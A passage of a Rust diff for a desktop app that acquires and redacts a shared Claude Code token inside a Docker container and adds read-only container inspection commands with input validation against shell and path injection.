+ + // A credential already under way: the last marker with nothing but token + // characters after it. If the *last* marker fails that test, no earlier one + // can pass it either — the disqualifying character lies after them all. + if let Some(start) = text.rfind(SECRET_MARKER) { + let clean_start = start == 0 || !is_token_byte(bytes[start - 1]); + let body_all_token = bytes[start + SECRET_MARKER.len()..] + .iter() + .all(|b| is_token_byte(*b)); + if clean_start && body_all_token { + return start; + } + } + + // Otherwise: a marker truncated mid-way by the chunk boundary. + for len in (1..SECRET_MARKER.len()).rev() { + if text.len() >= len && text.is_char_boundary(text.len() - len) + && &text[text.len() - len..] == &SECRET_MARKER[..len] + { + return text.len() - len; + } + } + + text.len() +} + +/// Masks credentials out of a stream, tolerating a secret split across chunk +/// boundaries by withholding any tail that could still turn into one. +#[derive(Default)] +struct SecretRedactor { + pending: String, +} + +impl SecretRedactor { + /// Absorb `chunk` and return the text that is now safe to show. + fn push(&mut self, chunk: &str) -> String { + self.pending.push_str(chunk); + + let mut split = holdback_index(&self.pending); + if self.pending.len() - split > MAX_HOLDBACK { + split = self.pending.len(); + } + + let emit = redact_complete(&self.pending[..split]); + self.pending.drain(..split); + emit + } + + /// Release whatever is still withheld. The stream is over, so a partial + /// credential can no longer grow — but it is still redacted on the way out. + fn flush(&mut self) -> String { + let out = redact_complete(&self.pending); + self.pending.clear(); + out + } +} + +// ───────────────────────────────────────────────────────────────────────────── +// Terminal control-sequence stripping +// ───────────────────────────────────────────────────────────────────────────── + +/// Length in bytes of the UTF-8 character starting with `b`. +fn utf8_len(b: u8) -> usize { + if b < 0x80 { + 1 + } else if b >> 5 == 0b110 { + 2 + } else if b >> 4 == 0b1110 { + 3 + } else if b >> 3 == 0b11110 { + 4 + } else { + 1 + } +} + +/// CSI final bytes that move the cursor. Claude Code's TUI lays text out by +/// jumping to a column (`ESC [ 9 G`) instead of emitting spaces, so deleting +/// these outright would weld neighbouring words together — which at best +/// garbles the URL the user has to read, and at worst welds a preceding word +/// onto the token and makes the parser reject it. They become a space instead: +/// a separator can never fabricate or destroy a match. +const CURSOR_MOVE_FINALS: &[u8] = b"ABCDEFGHd"; + +/// Strip terminal control sequences from the front of `bytes`, stopping at the +/// first incomplete sequence or truncated character. Returns the clean text and +/// how many bytes were consumed. +fn strip_ansi_prefix(bytes: &[u8]) -> (String, usize) { + let mut out = String::with_capacity(bytes.len()); + let mut i = 0usize; + + while i < bytes.len() { + match bytes[i] { + 0x1b => { + if i + 1 >= bytes.len() { + return (out, i); + } + match bytes[i + 1] { + // CSI: parameter/intermediate bytes, then a final 0x40..=0x7e. + b'[' => { + let mut j = i + 2; + while j < bytes.len() && !(0x40..=0x7e).contains(&bytes[j]) { + j += 1; + } + if j >= bytes.len() { + return (out, i); + } + if CURSOR_MOVE_FINALS.contains(&bytes[j]) { + out.push(' '); + } + i = j + 1; + } + // OSC: runs until BEL or ST (ESC \). + b']' => { + let mut j = i + 2; + loop { + if j >= bytes.len() { + return (out, i); + } + if bytes[j] == 0x07 { + j += 1; + break; + } + if bytes[j] == 0x1b { + if j + 1 >= bytes.len() { + return (out, i); + } + if bytes[j + 1] == b'\\' { + j += 2; + break; + } + } + j += 1; + } + i = j; + } + // Two-byte escapes (charset selection, keypad mode, …). + _ => i += 2, + } + } + // A repaint returns to column 0. Turn that into a line break so the + // old frame's trailing text cannot be glued onto the new frame's + // leading text — which could otherwise fabricate a "token". A run of + // CRs immediately before a LF is just the pty's ONLCR translation, + // so it collapses into that single LF rather than blank lines. + b'\r' => { + let mut j = i; + while j < bytes.len() && bytes[j] == b'\r' { + j += 1; + } + if j >= bytes.len() { + return (out, i); + } + if bytes[j] != b'\n' { + out.push('\n'); + } + i = j; + } + b'\n' => { + out.push('\n'); + i += 1; + } + b'\t' => { + out.push('\t'); + i += 1; + } + 0x00..=0x1f | 0x7f => i += 1, + b => { + let len = utf8_len(b); + if i + len > bytes.len() { + return (out, i); + } + if let Ok(s) = std::str::from_utf8(&bytes[i..i + len]) { + out.push_str(s); + } + i += len; + } + } + } + + (out, i) +} + +/// Stateful wrapper around [`strip_ansi_prefix`] that carries an incomplete +/// trailing sequence over to the next chunk. +#[derive(Default)] +struct AnsiStripper { + carry: Vec, +} + +impl AnsiStripper { + fn push(&mut self, chunk: &[u8]) -> String { + self.carry.extend_from_slice(chunk); + let (out, consumed) = strip_ansi_prefix(&self.carry); + self.carry.drain(..consumed); + out + } +} + +// ───────────────────────────────────────────────────────────────────────────── +// Commands +// ───────────────────────────────────────────────────────────────────────────── + +/// Stdin of the acquisition currently in flight, so [`submit_claude_token_code`] +/// can answer the CLI's `Paste code here` prompt. +/// +/// `Some` exactly while a flow is running, which doubles as the single-flight +/// guard: the token is global, so two concurrent logins would race to overwrite +/// each other's keychain entry and neither could tell which prompt it was +/// feeding. +static PENDING_INPUT: OnceLock>>>> = OnceLock::new(); + +fn pending_input() -> &'static Mutex>>> { + PENDING_INPUT.get_or_init(|| Mutex::new(None)) +} + +/// Abort channel for the in-flight flow, claimed and released in lockstep with +/// [`PENDING_INPUT`]. +/// +/// Without this the only exits are "finished" and "timed out", so a user who +/// closes the dialog would be locked out by the single-flight guard until +/// `SETUP_TIMEOUT` elapsed. +static CANCEL_TX: OnceLock>>> = OnceLock::new(); + +fn cancel_slot() -> &'static Mutex>> { + CANCEL_TX.get_or_init(|| Mutex::new(None)) +} + +fn emit_progress(app: &AppHandle, project_id: &str, message: &str) { + let _ = app.emit( + PROGRESS_EVENT, + serde_json::json!({ "project_id": project_id, "message": message }), + ); +} + +fn emit_output(app: &AppHandle, project_id: &str, chunk: &str) { + let _ = app.emit( + OUTPUT_EVENT, + serde_json::json!({ "project_id": project_id, "chunk": chunk }), + ); +} + +/// Shell run inside the container. +/// +/// * `stty` widens the pty before Claude Code starts, so its layout engine does +/// not wrap the token or the sign-in URL across lines. Docker's default exec +/// pty is 80 columns; both are longer than that. Setting it here rather than +/// via a post-start resize avoids racing the process's startup. +/// * The `unset` line strips inherited auth so `setup-token` runs against a +/// clean claude.ai login instead of warning about, or deferring to, whatever +/// credential the container is already configured with — including a shared +/// token from a previous run, which is likely the very thing being replaced. +const SETUP_TOKEN_SCRIPT: &str = r#"stty cols 200 rows 50 2>/dev/null || true +unset CLAUDE_CODE_OAUTH_TOKEN ANTHROPIC_API_KEY ANTHROPIC_AUTH_TOKEN ANTHROPIC_BASE_URL \ + ANTHROPIC_MODEL CLAUDE_CODE_USE_BEDROCK AWS_BEARER_TOKEN_BEDROCK +exec claude setup-token"#; + +/// Run `claude setup-token` in the container and return the token it printed. +/// Streams redacted output as it arrives and forwards anything arriving on +/// `input_rx` (the user's pasted code) to the command's stdin. +async fn run_setup_token( + app: &AppHandle, + project_id: &str, + container_id: &str, + mut input_rx: mpsc::UnboundedReceiver>, + mut cancel_rx: oneshot::Receiver<()>, +) -> Result { + // A pty (`tty = true`) because `setup-token` renders an interactive TUI and + // reads the pasted code in raw mode, which a plain pipe cannot provide. + let AttachedExec { + exec_id, + mut output, + mut input, + } = create_attached_exec( + container_id, + vec![ + "sh".to_string(), + "-c".to_string(), + SETUP_TOKEN_SCRIPT.to_string(), + ], + true, + ) + .await?; + + let mut stripper = AnsiStripper::default(); + let mut redactor = SecretRedactor::default(); + let mut transcript = String::new(); + let deadline = tokio::time::Instant::now() + SETUP_TIMEOUT; + + loop { + // Writing stdin and reading stdout are driven from the same loop: with + // a hijacked exec both halves ride one socket, and `input` must stay + // alive for the whole session anyway — dropping it early would tear the + // output stream down with it. + let next = tokio::select! { + // Cancellation wins the race so a user who gives up isn't held by + // the single-flight guard until the timeout. Dropping `input` and + // `output` on return tears the exec down with them. + _ = &mut cancel_rx => { + return Err( + "Authentication cancelled. No token was stored.".to_string() + ); + } + Some(data) = input_rx.recv() => { + if let Err(e) = input.write_all(&data).await { + return Err(format!( + "Could not send the code to `claude setup-token`: {}. No token was stored.", + e + )); + } + let _ = input.flush().await; + continue; + } + next = tokio::time::timeout_at(deadline, output.next()) => match next { + Ok(next) => next, + Err(_) => { + return Err(format!( + "Timed out after {} minutes waiting for `claude setup-token` to finish. \ + No token was stored.", + SETUP_TIMEOUT.as_secs() / 60 + )) + } + }, + }; + + let frame = match next { + Some(Ok(frame)) => frame, + Some(Err(e)) => { + return Err(format!( + "Lost the connection to `claude setup-token`: {}. No token was stored.", + e + )) + } + None => break, + }; + + let visible = stripper.push(&frame.into_bytes()); + if visible.is_empty() { + continue; + } + + transcript.push_str(&visible); + if transcript.len() > MAX_TRANSCRIPT { + // Keep the tail: that is where the token lands. + let cut = transcript.len() - MAX_TRANSCRIPT / 2; + let cut = (cut..transcript.len()) + .find(|i| transcript.is_char_boundary(*i)) + .unwrap_or(transcript.len()); + transcript.drain(..cut); + } + + let safe = redactor.push(&visible); + if !safe.is_empty() { + emit_output(app, project_id, &safe); + } + } + + let tail = redactor.flush(); + if !tail.is_empty() { + emit_output(app, project_id, &tail); + } + + let exit_code = wait_for_exec_exit(&exec_id).await.unwrap_or(0); + if exit_code != 0 { + return Err(format!( + "`claude setup-token` exited with status {}. No token was stored — \ + see the command output above for what went wrong.", + exit_code + )); + } + + parse_setup_token(&transcript).ok_or_else(|| { + "`claude setup-token` finished but printed no recognisable token. \ + Nothing was stored. This usually means the login was cancelled, or the \ + account has no Claude subscription (long-lived tokens require one)." + .to_string() + }) +} + +/// Mint a shared, long-lived Claude Code token by running `claude setup-token` +/// inside `project_id`'s container, and store it in the OS keychain. +/// +/// The project only lends its container — a place to run the CLI that already +/// has Claude Code installed. The resulting token is global, and is used by +/// every Anthropic-backend project that has not opted out. +#[tauri::command] +pub async fn acquire_claude_token( + project_id: String, + app_handle: AppHandle, + state: State<'_, AppState>, +) -> Result<(), String> { + let project = state + .projects_store + .get(&project_id) + .ok_or_else(|| format!("Project {} not found", project_id))?; + + let container_id = project.container_id.clone().ok_or_else(|| { + format!( + "Project '{}' has no container yet. Start it, then run authentication again.", + project.name + ) + })?; + if !is_container_running(&container_id).await.unwrap_or(false) { + return Err(format!( + "The container for '{}' is not running. Start it, then run authentication again.", + project.name + )); + } + + // Claim the flow before touching anything else, so a second caller bounces + // off the guard rather than half-configuring the same project. + let (input_tx, input_rx) = mpsc::unbounded_channel::>(); + let (cancel_tx, cancel_rx) = oneshot::channel::<()>(); + { + // Both slots are claimed under the input lock held first, and released + // in the same order below, so the guard and its abort channel can never + // disagree about whether a flow is live. + let mut slot = pending_input().lock().await; + if slot.is_some() { + return Err( + "A Claude authentication flow is already running. Finish or cancel it first." + .to_string(), + ); + } + *slot = Some(input_tx); + *cancel_slot().lock().await = Some(cancel_tx); + } + + let bridge_was_enabled = project.auth_bridge_enabled; + + let result = async { + // See the module docs: 2.1.226's `setup-token` redirects to an + // Anthropic-hosted callback, so no container-local listener needs + // bridging. Enabled anyway, per design, to cover CLI versions and login + // paths that do use a loopback redirect. Temporary elevation — the + // prior setting is restored below whatever happens. + if !bridge_was_enabled { + state + .projects_store + .set_auth_bridge_enabled(&project_id, true)?; + emit_progress( + &app_handle, + &project_id, + "Auth bridge enabled for the duration of login.", + ); + } + // Called unconditionally, and idempotent: the flag may already have + // been on while the poller was not running (e.g. enabled before start). + state + .auth_bridge + .start( + project_id.clone(), + container_id.clone(), + app_handle.clone(), + state.projects_store.clone(), + ) + .await; + + emit_progress( + &app_handle, + &project_id, + "Running `claude setup-token` — sign in at the URL below, then submit the code it gives you.", + ); + + run_setup_token(&app_handle, &project_id, &container_id, input_rx, cancel_rx).await + } + .await; + + // Release the flow, then restore the bridge — both unconditionally, so a + // failed or cancelled login leaves nothing latched on. + *pending_input().lock().await = None; + *cancel_slot().lock().await = None; + if !bridge_was_enabled { + // Stop the poller first: it awaits teardown, so host ports are provably + // released before the flag goes back. + state.auth_bridge.stop(&project_id).await; + if let Err(e) = state + .projects_store + .set_auth_bridge_enabled(&project_id, false) + { + log::warn!( + "Failed to restore the auth bridge setting for project {}: {}", + project_id, + e + ); + } + } + + let token = result?; + secure::store_claude_oauth_token(&token)?; + + log::info!( + "Stored a shared Claude authentication token (acquired via project {})", + project_id + ); + emit_progress( + &app_handle, + &project_id, + "Token stored in the OS keychain. Restart your Anthropic-backend containers to use it.", + ); + + Ok(()) +} + +/// Answer the `Paste code here if prompted >` prompt of a running +/// [`acquire_claude_token`] with the code shown after signing in. +/// +/// Takes no project id: the flow is single-flight and the token is global, so +/// there is only ever one prompt waiting. +#[tauri::command] +pub async fn submit_claude_token_code(code: String) -> Result<(), String> { + let code = code.trim(); + if code.is_empty() { + return Err("Enter the code shown after signing in.".to_string()); + } + // The code goes to a TUI text input. A newline or escape embedded in it + // would submit early or drive the widget, so reject control characters + // outright rather than trying to sanitise them. + if code.chars().any(char::is_control) { + return Err("That code contains invalid characters. Copy it again and retry.".to_string()); + } + + let slot = pending_input().lock().await; + let sender = slot.as_ref().ok_or_else(|| { + "No Claude authentication flow is waiting for a code. Start authentication first." + .to_string() + })?; + + let mut keystrokes = code.as_bytes().to_vec(); + keystrokes.push(b'\r'); + sender + .send(keystrokes) + .map_err(|_| "The authentication flow has already ended.".to_string()) +} + +/// Abort an in-flight [`acquire_claude_token`]. +/// +/// Tears the `setup-token` exec down and releases the single-flight guard, so +/// the user can immediately try again rather than waiting out `SETUP_TIMEOUT`. +/// A no-op when nothing is running, so closing the dialog twice is harmless. +#[tauri::command] +pub async fn cancel_claude_token() -> Result<(), String> { + let Some(sender) = cancel_slot().lock().await.take() else { + return Ok(()); + }; + // `Err` only means the flow finished between the take and the send, which + // is exactly the outcome cancelling wanted. + let _ = sender.send(()); + Ok(()) +} + +/// Whether a shared Claude token exists. Deliberately a boolean — no command +/// here ever hands the token itself to the frontend. +#[tauri::command] +pub async fn has_claude_token() -> Result { + Ok(secure::has_claude_oauth_token()) +} + +/// Forget the shared Claude token. Containers keep the injected value until +/// each is next started, at which point the rotation-id label mismatch forces a +/// recreation that blanks the env var. +#[tauri::command] +pub async fn clear_claude_token() -> Result<(), String> { + secure::delete_claude_oauth_token()?; + log::info!("Cleared the shared Claude authentication token"); + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + /// A token-shaped value of realistic length. + fn token(seed: char) -> String { + format!("{}{}", TOKEN_PREFIX, std::iter::repeat(seed).take(90).collect::()) + } + + #[test] + fn extracts_the_token_from_realistic_output() { + let tok = token('A'); + let output = format!( + "Claude Code long-lived token setup\n\ + Opening browser to https://claude.ai/oauth/authorize?code=true\n\ + Login successful!\n\n\ + Your token:\n{}\n\n\ + Set CLAUDE_CODE_OAUTH_TOKEN to this value.\n", + tok + ); + assert_eq!(parse_setup_token(&output), Some(tok)); + } + + #[test] + fn ignores_prose_decoys_and_still_finds_the_real_token() { + let tok = token('B'); + let output = format!( + "Set the env var like so:\n export CLAUDE_CODE_OAUTH_TOKEN=sk-ant-oat01-...\n\ + or CLAUDE_CODE_OAUTH_TOKEN=sk-ant-oat01-\n\ + Your token: {}\n", + tok + ); + assert_eq!(parse_setup_token(&output), Some(tok)); + } + + #[test] + fn a_decoy_on_its_own_yields_nothing() { + let output = "Usage: export CLAUDE_CODE_OAUTH_TOKEN=sk-ant-oat01-...\n"; + assert_eq!(parse_setup_token(output), None); + } + + #[test] + fn no_match_returns_none_rather_than_guessing() { + assert_eq!(parse_setup_token(""), None); + assert_eq!( + parse_setup_token("error: authentication cancelled by the user\n"), + None + ); + // Right length, wrong product prefix. + assert_eq!( + parse_setup_token(&format!("sk-ant-api03-{}\n", "C".repeat(90))), + None + ); + } + + #[test] + fn multiple_matches_take_the_last() { + let old = token('D'); + let new = token('E'); + let output = format!( + "Replacing existing token {}\n...\nYour new token: {}\n", + old, new + ); + assert_eq!(parse_setup_token(&output), Some(new)); + } + + #[test] + fn a_repainted_tui_frame_yields_the_same_token_once() { + let tok = token('F'); + // Same frame drawn three times, as a TUI would. + let output = format!("Your token: {}\n", tok).repeat(3); + assert_eq!(parse_setup_token(&output), Some(tok)); + } + + #[test] + fn a_prefix_glued_to_a_longer_word_is_not_a_token() { + let output = format!("notasecretsk-ant-oat01-{}\n", "G".repeat(90)); + assert_eq!(parse_setup_token(&output), None); + } + + #[test] + fn the_token_stops_at_the_first_non_token_character() { + let tok = token('H'); + let output = format!("token=\"{}\", expires=2027-08-09\n", tok); + assert_eq!(parse_setup_token(&output), Some(tok)); + } + + #[test] + fn redaction_masks_a_token_in_one_piece() { + let mut r = SecretRedactor::default(); + let mut seen = r.push(&format!("Your token: {}\n", token('I'))); + seen.push_str(&r.flush()); + assert!(!seen.contains(TOKEN_PREFIX)); + assert!(seen.contains(SECRET_PLACEHOLDER)); + assert!(seen.contains("Your token: ")); + } + + #[test] + fn redaction_survives_a_token_split_across_chunks() { + let tok = token('J'); + let mut r = SecretRedactor::default(); + let mut seen = String::new(); + // Split mid-prefix and again mid-body — the worst case for a naive + // per-chunk regex. + seen.push_str(&r.push("Your token: sk-a")); + seen.push_str(&r.push(&tok[4..40])); + seen.push_str(&r.push(&tok[40..])); + seen.push_str(&r.push("\ndone\n")); + seen.push_str(&r.flush()); + assert!(!seen.contains(TOKEN_PREFIX), "leaked: {}", seen); + assert!(seen.contains(SECRET_PLACEHOLDER)); + assert!(seen.ends_with("\ndone\n")); + } + + #[test] + fn redaction_leaves_ordinary_text_alone() { + let mut r = SecretRedactor::default(); + let mut seen = r.push("Visit https://claude.ai/oauth/authorize?code=abc-def to continue\n"); + seen.push_str(&r.flush()); + assert_eq!( + seen, + "Visit https://claude.ai/oauth/authorize?code=abc-def to continue\n" + ); + } + + #[test] + fn ansi_stripping_recovers_the_token_from_a_styled_frame() { + let tok = token('K'); + let framed = format!( + "\x1b[2J\x1b[H\x1b[1;36mYour token:\x1b[0m\r\n\x1b[32m{}\x1b[0m\r\n", + tok + ); + let mut s = AnsiStripper::default(); + let visible = s.push(framed.as_bytes()); + assert!(!visible.contains('\x1b')); + assert_eq!(parse_setup_token(&visible), Some(tok)); + } + + /// Claude Code's TUI positions words with `ESC [ n G` instead of spaces + /// (verified against 2.1.226). Deleting those would weld words together. + #[test] + fn ansi_stripping_turns_column_jumps_into_separators() { + let mut s = AnsiStripper::default(); + let visible = s.push(b"\x1b[38;2;215;119;87mWelcome\x1b[9Gto\x1b[12GClaude\x1b[19GCode\x1b[39m"); + assert_eq!(visible, "Welcome to Claude Code"); + } + + /// The failure this protects against: a column jump immediately before the + /// token would, if simply deleted, glue the preceding word onto the prefix + /// and make `parse_setup_token` reject a perfectly good token. + #[test] + fn a_column_jump_before_the_token_does_not_hide_it() { + let tok = token('L'); + let framed = format!("\x1b[2GToken\x1b[8G{}\r\n", tok); + let mut s = AnsiStripper::default(); + let visible = s.push(framed.as_bytes()); + // The leading jump is an indent, so it becomes a space too. + assert_eq!(visible, format!(" Token {}\n", tok)); + assert_eq!(parse_setup_token(&visible), Some(tok)); + } + + /// A pty with ONLCR emits `\r\r\n` at end of line; that is one break. + #[test] + fn carriage_return_runs_before_a_newline_collapse() { + let mut s = AnsiStripper::default(); + let visible = s.push(b"one\r\r\ntwo\r\r\n"); + assert_eq!(visible, "one\ntwo\n"); + } + + /// A bare CR is a repaint, and must still break the line so the old frame's + /// tail cannot be welded onto the new frame's head. + #[test] + fn a_bare_carriage_return_breaks_the_line() { + let mut s = AnsiStripper::default(); + let visible = s.push(b"sk-ant-oat01-old\rsk-ant-oat01-new"); + assert_eq!(visible, "sk-ant-oat01-old\nsk-ant-oat01-new"); + } + + #[test] + fn ansi_stripping_removes_osc8_hyperlink_wrappers() { + let mut s = AnsiStripper::default(); + let visible = s.push(b"\x1b]8;id=1;https://claude.com/x\x07https://claude.com/x\x1b]8;;\x07"); + assert_eq!(visible, "https://claude.com/x"); + } + + #[test] + fn ansi_stripping_handles_a_sequence_split_across_chunks() { + let mut s = AnsiStripper::default(); + let mut visible = s.push(b"a\x1b[3"); + visible.push_str(&s.push(b"1mb")); + assert_eq!(visible, "ab"); + } +} + diff --git a/app/src-tauri/src/commands/file_commands.rs b/app/src-tauri/src/commands/file_commands.rs index 7d4d848..37f670f 100644 --- a/app/src-tauri/src/commands/file_commands.rs +++ b/app/src-tauri/src/commands/file_commands.rs @@ -157,9 +157,10 @@ pub async fn download_container_file( /// - the workspace (default /workspace), minus regenerable build artifacts /// (node_modules, target), under `workspace/`, and /// - a sanitized copy of the home config under `home-claude/`: ~/.claude.json -/// with secret-bearing keys removed (mcpServers/settings kept) and ~/.claude/ -/// minus the OAuth `.credentials.json`, so MCP servers, settings and skills -/// set up via Claude Code survive a Reset. +/// with secret-bearing keys removed (`mcpServers` — Claude Code's own native +/// MCP config — and `settings` are kept) and ~/.claude/ minus the OAuth +/// `.credentials.json`, so settings and skills set up via Claude Code +/// survive a Reset. /// `.git` is kept in full so the backup faithfully preserves git history, /// including unpushed commits. Build + gzip happen inside the container so a /// large workspace isn't streamed in full. The container must be RUNNING (the diff --git a/app/src-tauri/src/commands/inspect_commands.rs b/app/src-tauri/src/commands/inspect_commands.rs new file mode 100644 index 0000000..aacc77e --- /dev/null +++ b/app/src-tauri/src/commands/inspect_commands.rs @@ -0,0 +1,1688 @@ +//! Read-only introspection of what lives inside a project's container. +//! +//! Three inventories are exposed to the GUI: +//! 1. Claude Code sessions (transcripts on the persistent config volume) +//! 2. Container capabilities (skills / agents / commands / hooks / plugins / MCP) +//! 3. Scheduled tasks managed by the in-container `triple-c-scheduler` +//! +//! Everything here is read-only except the explicitly-mutating scheduler +//! commands at the bottom of the file (add/update, enable/disable, run, remove, +//! clear notifications), which shell out to the scheduler's own subcommands +//! rather than editing its state files. +//! +//! ## Container access +//! +//! All work happens inside the container via the existing `docker exec` +//! plumbing in [`crate::docker::exec`] — no second mechanism is introduced. +//! The heavy lifting (walking dirs, grepping transcripts, parsing JSON with +//! `jq`) runs *in* the container and only a small JSON summary crosses the +//! wire, so multi-megabyte transcripts are never streamed back. +//! +//! `HOME` is passed explicitly on every exec: `docker exec` inherits the +//! container image's environment rather than the target user's, so `$HOME` is +//! not reliably `/home/claude` otherwise (see `download_container_backup`, +//! which does the same). +//! +//! ## Injection safety +//! +//! Two rules, applied together (defense in depth): +//! +//! * The `sh -c` scripts below are compile-time constants. No caller-supplied +//! value is ever interpolated into them. +//! * Every command that takes a caller-supplied value runs as a plain **argv +//! vector** with no shell in the process tree at all, so shell metacharacters +//! are inert by construction. On top of that, ids are validated against a +//! strict allowlist ([`validate_task_id`], [`validate_session_id`]) that +//! admits no shell metacharacters, no `/`, no `.` (so no path traversal into +//! the scheduler's task dir), and no leading `-` (so no option injection). +//! +//! Creating a task ([`add_scheduled_task`]) is the one place where *arbitrary* +//! user text — a task name, a whole Claude prompt — is handed to the container. +//! It cannot be allowlisted, so it relies on the argv rule above plus +//! [`ValidatedTaskInput`], which caps lengths, forbids control characters in +//! single-line fields, and rejects a name that could be read as an option. +//! +//! The cron expression gets one extra guarantee. It is the only user-supplied +//! value the scheduler writes into the *crontab* (` `), +//! so a newline in it would be a crontab-injection primitive. +//! [`validate_cron_expression`] therefore re-emits the five parsed fields +//! joined by single spaces and only the normalised form is sent onward, so no +//! whitespace the user typed can survive into a crontab line. +//! +//! ## Degradation +//! +//! A stopped or missing container is a normal state, not an error: the +//! read-only commands return empty/zero results. Only the mutating scheduler +//! commands fail loudly, since they cannot do anything useful without a +//! running container. + +use bollard::exec::{CreateExecOptions, StartExecOptions}; +use serde::{Deserialize, Serialize}; +use tauri::State; + +use crate::docker::client::get_docker; +use crate::docker::container::is_container_running; +use crate::docker::exec::{exec_oneshot_env, exec_oneshot_env_status}; +use crate::AppState; + +/// Newest N session transcripts to inspect. Caps the work done inside the +/// container regardless of how much history has accumulated on the volume. +const MAX_SESSIONS: usize = 50; + +/// Newest N scheduler notifications to return. +const MAX_NOTIFICATIONS: usize = 50; + +const CONTAINER_HOME: &str = "/home/claude"; + +/// Caps on the free-text fields of a scheduled task. They exist to keep a +/// runaway paste out of the container's task JSON and out of the `docker exec` +/// payload; they are generous enough for a real prompt. +const MAX_TASK_NAME_LEN: usize = 100; +const MAX_TASK_PROMPT_LEN: usize = 8_000; +const MAX_WORKING_DIR_LEN: usize = 512; +const MAX_CRON_LEN: usize = 256; + +/// The scheduler's own default working directory (`cmd_add`). +const DEFAULT_WORKING_DIR: &str = "/workspace"; + +// ───────────────────────────────────────────────────────────────────────────── +// Response models +// +// These live here (rather than in `models/`) so this feature is confined to a +// single file; they are IPC response shapes, not persisted state. +// ───────────────────────────────────────────────────────────────────────────── + +/// One Claude Code session transcript found inside the container. +#[derive(Debug, Clone, Serialize)] +pub struct ClaudeSession { + /// Session UUID (the transcript's filename stem, and what `--resume` takes). + pub id: String, + /// User-set display name (`claude -n `), if the session has one. + pub name: Option, + /// Best available one-line description: Claude's auto-generated title if it + /// produced one, otherwise the last prompt sent in the session. + pub summary: Option, + /// Transcript mtime as an ISO 8601 / RFC 3339 timestamp (UTC). + pub last_modified: String, + pub size_bytes: u64, + /// Approximate user + assistant turn count (counted by line, cheap). + pub message_count: u64, + /// The directory the session was started in. + pub cwd: Option, +} + +/// A single installed capability (skill, agent, command, hook event, …). +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CapabilityItem { + pub name: String, + pub description: Option, + /// `"user"` (from `~/.claude`) or `"project"` (from a mounted workspace). + pub scope: String, +} + +#[derive(Debug, Clone, Default, Serialize, Deserialize)] +pub struct CapabilityGroup { + pub count: u64, + pub items: Vec, +} + +/// Inventory of everything Claude Code has available inside the container. +#[derive(Debug, Clone, Default, Serialize, Deserialize)] +pub struct ContainerCapabilities { + pub skills: CapabilityGroup, + pub agents: CapabilityGroup, + pub commands: CapabilityGroup, + /// One item per configured hook event; `count` is the total number of + /// individual hook handlers across all events. + pub hooks: CapabilityGroup, + pub plugins: CapabilityGroup, + pub mcp_servers: CapabilityGroup, +} + +/// A task managed by the in-container `triple-c-scheduler`. +/// +/// Mirrors the scheduler's own on-disk JSON schema +/// (`~/.claude/scheduler/tasks/.json`). +#[derive(Debug, Clone, Serialize)] +pub struct ScheduledTask { + pub id: String, + pub name: String, + pub prompt: String, + /// Cron expression. One-shot tasks are also stored as a cron expression; + /// see `at` for the original wall-clock time. + pub schedule: String, + /// `"recurring"` or `"once"` (the scheduler's `type` field). + pub task_type: String, + /// Original `--at` value (`"YYYY-MM-DD HH:MM"`) for one-shot tasks. + pub at: Option, + pub enabled: bool, + pub working_dir: String, + pub created_at: Option, + /// Derived from the newest file in `~/.claude/scheduler/logs//`; the + /// scheduler does not record this in the task JSON itself. + pub last_run: Option, + /// Only known for enabled one-shot tasks (their `at` time). Recurring cron + /// expressions are not evaluated here. + pub next_run: Option, +} + +/// A completion notice written by `triple-c-task-runner` after a task ran. +#[derive(Debug, Clone, Serialize)] +pub struct SchedulerNotification { + pub task_id: String, + pub task_name: Option, + /// `"SUCCESS"` or `"FAILED (exit code N)"`. + pub status: Option, + /// The runner's own human-readable timestamp line. + pub time: Option, + pub task_type: Option, + /// Tail of the run's log that the runner captured. + pub summary: Option, + /// Full notification text, verbatim. + pub body: String, + /// Notification file mtime, ISO 8601 (UTC). + pub created_at: String, +} + +// ───────────────────────────────────────────────────────────────────────────── +// Shared helpers +// ───────────────────────────────────────────────────────────────────────────── + +/// Resolve a project to a *running* container id. +/// +/// `Ok(None)` means "there is nothing to inspect" — no container recorded, or +/// the container exists but is stopped. Callers that are read-only turn that +/// into an empty result; mutating callers turn it into an error. +/// `Err` is reserved for a genuinely unknown project id. +async fn running_container_for( + project_id: &str, + state: &State<'_, AppState>, +) -> Result, String> { + let project = state + .projects_store + .get(project_id) + .ok_or_else(|| format!("Project {} not found", project_id))?; + + let container_id = match project.container_id { + Some(id) => id, + None => return Ok(None), + }; + + if is_container_running(&container_id).await.unwrap_or(false) { + Ok(Some(container_id)) + } else { + Ok(None) + } +} + +/// Same as [`running_container_for`], but a stopped container is an error. +/// Used by the mutating scheduler commands. +async fn require_running_container( + project_id: &str, + state: &State<'_, AppState>, +) -> Result { + running_container_for(project_id, state).await?.ok_or_else(|| { + "Container is not running — start the project first.".to_string() + }) +} + +fn home_env() -> Vec { + vec![format!("HOME={}", CONTAINER_HOME)] +} + +/// Run one of this module's constant scripts under `sh -c` and return stdout. +/// +/// The scripts redirect their own stderr to `/dev/null` (`exec 2>/dev/null` on +/// the first line) so the combined stream `exec_oneshot_env` returns is pure +/// stdout and stays parseable as JSON. A non-zero exit therefore surfaces as +/// empty output, which the callers treat as "nothing to report". +async fn run_script(container_id: &str, script: impl Into) -> Result { + exec_oneshot_env( + container_id, + vec!["sh".to_string(), "-c".to_string(), script.into()], + home_env(), + ) + .await +} + +/// Parse script output as JSON, degrading to a default value (and a log line) +/// rather than failing the whole command if the container returned something +/// unexpected. +fn parse_or_default(raw: &str, what: &str) -> T { + let trimmed = raw.trim(); + if trimmed.is_empty() { + return T::default(); + } + match serde_json::from_str::(trimmed) { + Ok(v) => v, + Err(e) => { + log::warn!( + "Failed to parse {} JSON from container ({}): {}", + what, + e, + trimmed.chars().take(300).collect::() + ); + T::default() + } + } +} + +fn epoch_to_iso(epoch: i64) -> String { + chrono::DateTime::from_timestamp(epoch, 0) + .unwrap_or_default() + .to_rfc3339() +} + +/// Strict allowlist for scheduler task ids. +/// +/// The scheduler generates ids as 8 lowercase hex chars (`head -c 4 +/// /dev/urandom | od -An -tx1`). This accepts that plus a small tolerant +/// superset, while admitting **no** shell metacharacters, no `/` or `.` (so a +/// crafted id cannot escape `~/.claude/scheduler/tasks/`), and no leading `-` +/// (so it cannot be mistaken for an option). Combined with argv-only execution +/// this makes shell injection structurally impossible. +fn validate_task_id(id: &str) -> Result<(), String> { + let valid = !id.is_empty() + && id.len() <= 64 + && id.starts_with(|c: char| c.is_ascii_alphanumeric()) + && id + .chars() + .all(|c| c.is_ascii_alphanumeric() || c == '-' || c 